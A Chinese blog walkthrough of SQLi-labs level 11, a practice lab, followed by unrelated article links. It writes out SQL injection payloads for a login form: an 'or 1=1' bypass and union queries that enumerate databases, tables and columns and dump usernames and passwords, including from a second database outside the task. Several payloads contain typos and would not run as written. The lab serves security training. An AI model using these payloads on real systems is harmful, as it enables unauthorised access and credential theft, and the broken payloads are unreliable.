当前位置: 首页 > news >正文

sqllab第十一关通关笔记

知识点:

  • 发现登录框就可以尝试注入
  • 登录框一般都是字符型注入
  • 通过注入可以获取其他表的信息
  • 绕过手段
    • 单引号闭合+联合注入
    • 也可以进行错误注入

首先看界面是一个登录框;通过admin admin登录进去,发现页面会把用户名和密码的登录信息打印出来;通过bp抓包进行测试是不是存在注入点

开始测试

构造payload:username=a'+or+1=1#

页面成功回显除了第一个用户名和密码;说明这里存在字符型注入;通过单引号闭合进行绕过

既然页面有回显可以尝试进行联合注入(尝试先用3个字段,前几关的经验)

构造payload:username=a'+unoion+select+1,2,3#

提示字段数不对,根据页面返回情况猜测是两个字段

构造payload:username=a'+union+select+1,2#

页面成功回显除了输入的信息;说明注入成功;下面可以进行数据库敏感信息的获取了

联合注入成功,获取数据库名

构造payload:username=a'+union+select+1,database()#

成功获取了数据库名

接下来获取数据库下的表名

构造payload:username=a'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema='security'#

成功获取了security下的表名;

接下来获取users表中的所有字段名;

构造payload:username=a'+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_schema='security'+and+table_name='users'#

成功获取了相关的字段;发现里面有用户名和密码

接下来获取相关的数据信息(用户名和密码)

构造payload:username=a'+union+select+1,group_concat(username,':',password)+from+users#

这里直接用users表名了;因为当前默认使用的数据库是security;所有加不加都可以;如果不知道的情况下最好加上;如security.users

成功获取了用户的敏感信息

到这里其实就完成了;不需要在进行其他操作了但是我想测一下是不是能够读取其他数据库的信息

番外

接着进行操作;获取所有数据库名

构造payload:username=a'+group_concat(schema_name)+from+information_schema.schemata#

成功获取了所有的数据库信息;发现了一个root数据库

尝试获取root数据库的表名

构造payload:username=a'+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_security='root'#

成功获取了所有的表名;发现有一个用户表

尝试读取users表的字段信息

构造payload:username=a'+union+select+1,group_concat(column_name)+from+information_schema.tables+where+table_schema='root'+and+table_name='users'#

成功获取users表中的字段信息

发现存在用户名和密码的字段

接下来对用户名和密码进行读取

构造payload:username=a'+union+select+1,grroup_concat(user,':',password)+from+root.users#

这里就要指定数据库了,因为默认是security数据库;通过指定root.users

成功获取了root表中的所有用户信息;可以看出密码进行加密了

到这里就真的结束了,真实畅快啊

10

http://www.lryc.cn/news/318011.html

相关文章:

  • 机械女生,双非本985硕,目前学了C 基础知识,转嵌入式还是java更好?
  • Python之字符串操作大全(29种方法)
  • ArcGIS学习(十五)用地适宜性评价
  • 【matlab】如何将.mat文件与.nii文件互转
  • Uni-app开发Canvas当子组件示例,点点绘制图形
  • 从金蝶云星空到钉钉通过接口配置打通数据
  • Unreal发布Android在刘海屏手机上不能全屏显示问题
  • hive库表占用空间大小的命令
  • 关于go中的select
  • 【Node.js从基础到高级运用】十一、构建RESTful API
  • Python和MATLAB数字信号波形和模型模拟
  • 华为OD技术C卷“测试用例执行计划”Java解答
  • solana 入门 1
  • JavaEE之多线程(创建线程的五种写法)详解
  • ChatGPT国内能用吗?中国用户怎么才能使用ChatGPT?
  • 集群保持集群负载均衡和hash一致性
  • 吴恩达深度学习笔记:神经网络的编程基础2.9-2.14
  • 在C++项目中使用python脚本(四种)常见报错解决
  • 微前端框架 qiankun 配置使用【基于 vue/react脚手架创建项目 】
  • nodejs切换淘宝源
  • 怎么避免电脑数据被拷贝?电脑如何禁用USB功能?
  • 给电脑加硬件的办法 先找电脑支持的接口,再买相同接口的
  • uniapp微信小程序_自定义交费逻辑编写
  • 论文阅读——RingMo
  • Hadoop,Hive 数据预处理CR
  • 小程序开发——获取设备信息 API(三)
  • Vue2 + node.js项目
  • 如何使用IDE端通义灵码
  • 微服务分布式springcloud的体育场地预约系统演kdm1z
  • IDEA开启Run Dashboard